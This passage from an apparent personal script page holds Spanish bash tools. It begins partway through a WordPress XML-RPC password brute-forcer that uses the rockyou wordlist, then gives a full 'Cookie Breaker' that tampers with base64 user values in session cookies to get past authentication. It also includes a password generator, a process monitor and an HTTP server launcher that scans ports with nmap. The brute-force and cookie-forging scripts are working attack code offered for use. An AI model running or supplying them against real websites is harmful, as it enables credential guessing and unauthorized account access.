local response=$(curl -s -X POST "https://www.$dominio/xmlrpc.php" -d@file.xml)

echo -e "\n[DEBUG] Probando contraseña: ${yellowColour}$password${endColour}"
#echo -e "\n[DEBUG] Respuesta completa de curl: \n$response"

#if [[ -n "$response" && ! $(echo "$response" | grep 'Incorrect username or password.') ]]; then
if [[ -n "$response" && ! $(echo "$response" | grep 'Nombre de usuario o contraseña incorrectos.') ]]; then
echo -e "\n[${redFColour}+${endColour}] La contraseña del usuario ${yellowColour}$nombre${endColour} es ${redColour}$password${endColour}"
rm file.xml
exit 0
fi
rm file.xml
}

while IFS= read -r password; do
createXML "$password"
done < /usr/share/wordlists/rockyou.txt

echo -e "\n[${redColour}!${endColour}] ${redColour}No se encontró una contraseña válida en la wordlist.${endColour}"

wordpress b-force

#️⃣ COOKIE BREAKER (Base 64)

#!/bin/bash

# VARIABLES COLORES #--------------------------------------------------
# valores con F y 5 parpadean (flash)

cyanColour="\e[0;36m\033[1m"
cyanFColour="\e[5;36m\033[1m"
blueColour="\e[0;34m\033[1m"
blueFColour="\e[5;34m\033[1m"
purpleColour="\e[0;35m\033[1m"
purpleFColour="\e[5;35m\033[1m"
greenColour="\e[0;32m\033[1m"
greenFColour="\e[5;32m\033[1m"
yellowColour="\e[0;33m\033[1m"
yellowFColour="\e[5;33m\033[1m"
redColour="\e[0;31m\033[1m"
redFColour="\e[5;31m\033[1m"
grayColour="\e[0;37m\033[1m"
grayFColour="\e[5;37m\033[1m"

# valor para llave de cierre
endColour="\033[0m\e[0m"

# [ctrl] + [c] = SALIR #-----------------------------------------------------

function ctrl_c(){
echo -e "\n\n${redColour}[X] ${endColour}Saliendo del script"
exit 1
}

trap ctrl_c SIGINT

# BANNER #----------------------------------------------------------------

echo -e "${cyanColour}
#************************************************#
#               Script by SF01                   #
#                                                #
#            COOKIE BREAKER 1.0                  #
#************************************************#
${endColour}"

# INTRODUCCION #-------------------------------------------------------

echo -e "${cyanColour}Bienvenido a Cookie Breaker.
Este script permite realizar un ataque de fuerza bruta BASE64 a la cookie conocida de un host.
Presiona CUALQUIER TECLA para continuar.\n${endColour}"
read -n 1 -s -r -p ""

# SCRIPT #-------------------------------------------------------------------

# Variables para almacenar los valores introducidos por el usuario
protocol=""
ip=""
cookie_name=""
cookie_user=""
cookie_value=""

while true; do
# Primer paso: preguntar si la web es HTTP o HTTPS
echo -e "\n${cyanColour}[+] Introduce el protocolo a utilizar${endColour} (http/https) [${protocol}]:"
read input_protocol
protocol="${input_protocol:-${protocol:-http}}"

# Segundo paso: preguntar por la IP y puerto
echo -e "\n${cyanColour}[+] Introduce la IP y puerto${endColour} (por ejemplo, 10.10.10.10:80) [${ip}]:"
read input_ip
ip="${input_ip:-$ip}"

# Tercer paso: preguntar por el valor de is_admin
echo -e "\n${cyanColour}[+] Introduce el valor NAME de la cookie${endColour} (por ejemplo, admin) [${cookie_name}]:"
read input_cookie_name
cookie_name="${input_cookie_name:-$cookie_name}"

# Cuarto paso: preguntar por el valor del usuario de la cookie
echo -e "\n${cyanColour}[+] Introduce el valor de USUARIO de la cookie en BASE64${endColour} [${cookie_user}]:"
read input_cookie_user
cookie_user="${input_cookie_user:-$cookie_user}"
    
# Quinto paso: preguntar por el resto del valor de la cookie
echo -e "\n${cyanColour}[+] Introduce el valor RESTANTE de la cookie${endColour} [${cookie_value}]:"
read input_cookie_value
cookie_value="${input_cookie_value:-$cookie_value}"

while true; do
# Mostrar resumen
echo ""
echo -e "${cyanColour}[i] RESUMEN DE LA CONFIGURACIÓN${endColour}"
echo -e "${cyanColour}> Protocolo:${endColour} $protocol"
echo -e "${cyanColour}> IP y puerto:${endColour} $ip"
echo -e "${cyanColour}> Valor NAME:${endColour} $cookie_name"
echo -e "${cyanColour}> Valor USUARIO de la cookie:${endColour} $cookie_user"
echo -e "${cyanColour}> Valor RESTANTE de la cookie:${endColour} $cookie_value"
echo ""

# Preguntar si desea reconfigurar, ejecutar, salir o fuerza bruta
echo -e "${cyanColour}[?]${endColour} Presione (${cyanColour}r${endColour}) para reconfigurar, (${greenColour}e${endColour}) para ejecutar, (${redColour}s${endColour}) para salir o (${yellowColour}f${endColour}) para fuerza bruta:"
read choice

if [ "$choice" == "e" ]; then
# Ejecutar la línea de comando
echo -e "${greenColour}[!] INICIO RESPUESTA:${endColour}"
curl -v -H "Cookie: $cookie_name=$cookie_user.$cookie_value" "$protocol://$ip"
echo -e "${greenColour}[!] FIN RESPUESTA:${endColour}"
echo ""
echo -e "${cyanColour}[?]${endColour} Presione (${cyanColour}r${endColour}) para reconfigurar, (${greenColour}e${endColour}) para ejecutar de nuevo, (${redColour}s${endColour}) para salir o (${yellowColour}f${endColour}) para fuerza bruta:"
read end_choice
            
if [ "$end_choice" == "s" ]; then
break 2
elif [ "$end_choice" == "f" ]; then
echo -e "\n${cyanColour}[+] Introduce el nuevo valor de USUARIO para fuerza bruta${endColour}:"
read new_user
cookie_user=$(echo -n "$new_user" | base64)
elif [ "$end_choice" != "r" ] && [ "$end_choice" != "e" ]; then
echo -e "${redColour}[X]${endColour} Opción no válida. Volviendo a la configuración:"
fi
elif [ "$choice" == "s" ]; then
break 2
elif [ "$choice" == "f" ]; then
echo -e "\n${cyanColour}[+] Introduce el nuevo valor de USUARIO para fuerza bruta en USUARIO${endColour}:"
read new_user
cookie_user=$(echo -n "$new_user" | base64)
elif [ "$choice" != "r" ]; then
echo -e "${redColour}[X]${endColour} Opción no válida. Por favor, introduce (${cyanColour}r${endColour}) para reconfigurar, (${greenColour}e${endColour}) para ejecutar, (${redColour}s${endColour}) para salir o (${yellowColour}f${endColour}) para fuerza bruta en USUARIO:"
else
break
fi
done
done

echo -e "${redColour}[X]${endColour} Saliendo del script"


cookie breaker

#️⃣ RANDOM PASSWORD MAKER

#!/bin/bash

# VARIABLES COLORES #-------------------------------------------------------------------------------------
# valores con F y 5 parpadean (flash)

cyanColour="\e[0;36m\033[1m"
cyanFColour="\e[5;36m\033[1m"
blueColour="\e[0;34m\033[1m"
blueFColour="\e[5;34m\033[1m"
purpleColour="\e[0;35m\033[1m"
purpleFColour="\e[5;35m\033[1m"
greenColour="\e[0;32m\033[1m"
greenFColour="\e[5;32m\033[1m"
yellowColour="\e[0;33m\033[1m"
yellowFColour="\e[5;33m\033[1m"
redColour="\e[0;31m\033[1m"
redFColour="\e[5;31m\033[1m"
grayColour="\e[0;37m\033[1m"
grayFColour="\e[5;37m\033[1m"

# valor para llave de cierre
endColour="\033[0m\e[0m"

# [ctrl] + [c] = SALIR #-------------------------------------------------------------------------------------------

function ctrl_c(){
echo -e "${redColour}
CLOSING SCRIPT
${endColour}"
exit 1
}

trap ctrl_c SIGINT

# BANNER #------------------------------------------------------------------------------------------------------

echo -e "${cyanColour}
#**************************************++++++++++++++++++++++**********#
#                        RANDOM PASSWORD MAKER                         #
#                           (pass_maker.sh)                            #
#                               by SF01                                #
#******************************************++++++++++++++++++++++******#
${endColour}"

# PREGUNTA #-----------------------------------------------------------------------------------------
echo -e "CHOOSE THE LENGTH IN CHARACTERS FOR YOUR NEW RANDOMLY GENERATED PASSWORD:\n"

# Utilizamos un bucle while para validar la entrada del usuario
validInput=false
while [ "$validInput" = false ]; do
read numero
if [[ ! $numero =~ ^[0-9]+$ ]]; then
echo -e "${redColour}ERROR: YOU MUST ENTER A NUMBER. TRY AGAIN. \n${endColour}"
else
        validInput=true
fi
done

echo
tput civis
echo -e "GENERATING PASSWORD WITH ${greenColour}$numero${endColour} CHARACTERS:"
sleep 1
tput cnorm

echo -e "${greenColour}"
openssl rand -base64 30 | tr -dc 'a-zA-Z0-9' | fold -w $numero | head -n 1
echo -e "${endColour}"
​

pass_maker

#️⃣ PROCESS DETECTION

#!/bin/bash

# COLOURS #---------------------------------------------------------------

cyanColour="\e[0;36m\033[1m"
cyanFColour="\e[5;36m\033[1m"
blueColour="\e[0;34m\033[1m"
blueFColour="\e[5;34m\033[1m"
purpleColour="\e[0;35m\033[1m"
purpleFColour="\e[5;35m\033[1m"
greenColour="\e[0;32m\033[1m"
greenFColour="\e[5;32m\033[1m"
yellowColour="\e[0;33m\033[1m"
yellowFColour="\e[5;33m\033[1m"
redColour="\e[0;31m\033[1m"
redFColour="\e[5;31m\033[1m"
grayColour="\e[0;37m\033[1m"
endColour="\033[0m\e[0m"

# CTRL+C = SALIR #-------------------------------------------------------

function ctrl_c(){
    tput civis
echo -e "${redColour}
#********************  CLOSING SCRIPT  **********************#
${endColour}"
    tput cnorm
    exit 1
}

trap ctrl_c INT

sleep 1
tput cnorm

# BANNER #----------------------------------------------------------------

tput civis
echo -e "${redColour}                               
#************************************************************#
#     -_    _-                                               #
#      º8--8º               PROCESS DETECTION                #
#    ----00----                                              #
#      _8--8_                    by SF01                     #
#     -      -                                               #
#************************************************************#

#******************** SCANNING ACTIVITY *********************#

${endColour}"

# script #---------------------------------------------------------------

old_process=$(ps -eo user,command)

while true; do
new_process=$(ps -eo user,command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "command|kworker|procmon|proc_det"
old_process=$new_process
done


proc_det

#️⃣ CUSTOM HTTP SERVER

#!/bin/bash

# VARIABLES COLORES #---------------------------------------------------
# valores con F y 5 parpadean (flash)

cyanColour="\e[0;36m\033[1m"
cyanFColour="\e[5;36m\033[1m"
blueColour="\e[0;34m\033[1m"
blueFColour="\e[5;34m\033[1m"
purpleColour="\e[0;35m\033[1m"
purpleFColour="\e[5;35m\033[1m"
greenColour="\e[0;32m\033[1m"
greenFColour="\e[5;32m\033[1m"
yellowColour="\e[0;33m\033[1m"
yellowFColour="\e[5;33m\033[1m"
redColour="\e[0;31m\033[1m"
redFColour="\e[5;31m\033[1m"
grayColour="\e[0;37m\033[1m"
grayFColour="\e[5;37m\033[1m"

# valor para llave de cierre
endColour="\033[0m\e[0m"

# [ctrl] + [c] = SALIR #--------------------------------------------------------

function ctrl_c(){
echo -e "\n${redColour}[!] ${endColour}TERMINANDO EL SERVIDOR..."
exit 1
}

trap ctrl_c SIGINT

# BANNER #-------------------------------------------------------------------

echo -e "${cyanColour}
#*********4**************************8***********#
#    /\         CUSTOM HTTP SERVER          /\    #
#   <-->                                   <-->   #
#    \/        Script by SF01Ghost          \/    #
#**1***************1******************************#

[i] Asegúrese de ejecutar este script desde la carpeta
    que desea que actúe como servidor.
    
[i] Pulse [ctrl] + [c] en cualquier momento para
    terminar el script.
${endColour}"

# MENU 3 OPCIONES #------------------------------------------------------

echo -e "${greenColour}(1)${endColour} INICIAR SERVIDOR HTTP ${greenColour}PÚBLICO${endColour} \n${yellowColour}(2)${endColour} INICIAR SERVIDOR HTTP ${yellowColour}PRIVADO${endColour} \n${redColour}(Q)${endColour} SALIR"

while true; do
read opcion
case $opcion in

# Introducir valor 1 #---------------------------------------------------------
1)

PublicIP=$(curl -s ifconfig.me)
echo -e "\n${greenColour}[+]${endColour} Su dirección ${greenColour}IP PÚBLICA${endColour} es ${greenColour}$PublicIP${endColour}:"

# Escaneo rápido de puertos con nmap antes de iniciar el servidor
echo -e "\n${greenColour}[i]${endColour} Escaneando puertos abiertos de ${greenColour}$PublicIP${endColour}..."
nmap -Pn --top-ports 200 $PublicIP

# Pide al usuario que ingrese el puerto para el servidor HTTP
echo -e "\n${greenColour}[+]${endColour} Ingrese el número de puerto para el servidor HTTP (debe estar abierto en el router): "
read port_number
echo -e "\n${greenColour}[>]${endColour} Abriendo servidor en ${greenColour}http://$PublicIP:$port_number${endColour}"
echo -e "${greenColour}[>]${endColour}\n"

# Validar si el puerto es un número y está en el rango adecuado
if ! [[ "$port_number" =~ ^[0-9]+$ ]] || [ "$port_number" -lt 1 ] || [ "$port_number" -gt 65535 ]; then
echo -e "\n${redColour}[ERROR]${endColour} El puerto debe ser un número entre 1 y 65535."
exit 1
fi

# Verificar si el puerto está en uso
if lsof -i :$port_number &>/dev/null; then
echo -e "\n${redColour}[ERROR]${endColour} El puerto $port_number ya está en uso."
exit 1
fi

# Inicia el servidor HTTP personalizado
python -m http.server $port_number
sleep 1
;;

# Introducir valor 2 #---------------------------------------------------------
2)

PrivateIP=$(hostname -I | awk '{print $1}')
echo -e "\n${yellowColour}[+]${endColour} Su dirección ${yellowColour}IP PRIVADA${endColour} es ${yellowColour}$PrivateIP${endColour}:"

# Escaneo rápido de puertos con nmap antes de iniciar el servidor
echo -e "\n${yellowColour}[i]${endColour} Escaneando puertos abiertos de ${yellowColour}$PrivateIP${endColour}..."
nmap -Pn --top-ports 200 $PrivateIP

# Pide al usuario que ingrese el puerto para el servidor HTTP
echo -e "\n${yellowColour}[+]${endColour} Ingrese el número de puerto para el servidor HTTP: "
read port_number
echo -e "\n${yellowColour}[>]${endColour} Abriendo servidor en ${yellowColour}http://$PrivateIP:$port_number${endColour}"
echo -e "${yellowColour}[>]${endColour}\n"

# Validar si el puerto es un número y está en el rango adecuado
if ! [[ "$port_number" =~ ^[0-9]+$ ]] || [ "$port_number" -lt 1 ] || [ "$port_number" -gt 65535 ]; then
echo -e "\n${redColour}[ERROR]${endColour} El puerto debe ser un número entre 1 y 65535."
exit 1
fi

# Verificar si el puerto está en uso
if lsof -i :$port_number &>/dev/null; then
echo -e "\n${redColour}[ERROR]${endColour} El puerto $port_number ya está en uso."
exit 1
fi

# Inicia el servidor HTTP personalizado
python -m http.server $port_number
sleep 1
;;

# Introducir valores q/Q (porque bash es case-sensitive) #-----------
q|Q)
echo -e "\n${redColour}[!] ${endColour}TERMINANDO EL SERVIDOR..."
sleep 1
break
;;

# Introducir cualquier otro valor #-----------------------------------------
*)
echo -e "\n${redColour}[ERROR]${endColour}\n INTRODUZCA ${greenColour}(1)${endColour}, ${yellowColour}(2)${endColour} o ${redColour}(Q)${endColour} SEGÚN LA OPCIÓN DESEADA"
;;

esac
done

custom HTTP server
bottom of page